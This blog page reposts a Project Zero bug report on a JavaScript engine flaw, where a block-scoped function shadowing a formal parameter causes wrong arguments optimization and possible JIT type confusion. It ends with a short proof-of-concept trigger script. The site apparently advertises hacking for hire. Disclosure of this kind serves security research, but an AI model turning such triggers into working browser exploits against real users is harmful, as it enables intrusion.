Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86385279

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1367

In the following JavaScript code, both of the print calls must print out "undefined" because of "x" is a formal parameter. But the second print call prints out "function x() { }". This bug may lead to type confusion in JITed code.

function f(x) {
    print(x);

    {
        function x() {

        }
    }

    print(x);
}

The following code in "PreVisitFunction" is used to decide how to optimize arguments.
    bool doStackArgsOpt = (!pnode->sxFnc.HasAnyWriteToFormals() || funcInfo->GetIsStrictMode());

"HasAnyWriteToFormals" set by "Parser::BindPidRefsInScope" returns true in the following example code where "x" is formal. But the method can't detect the above buggy case, so it may end up wrongly optimizing arguments.

function f(x) {
    x = 1;
}


PoC:
*/

function f(x) {
    arguments;

    {
        function x() {
        }
    }
}

for (let i = 0; i < 10000; i++)
    f();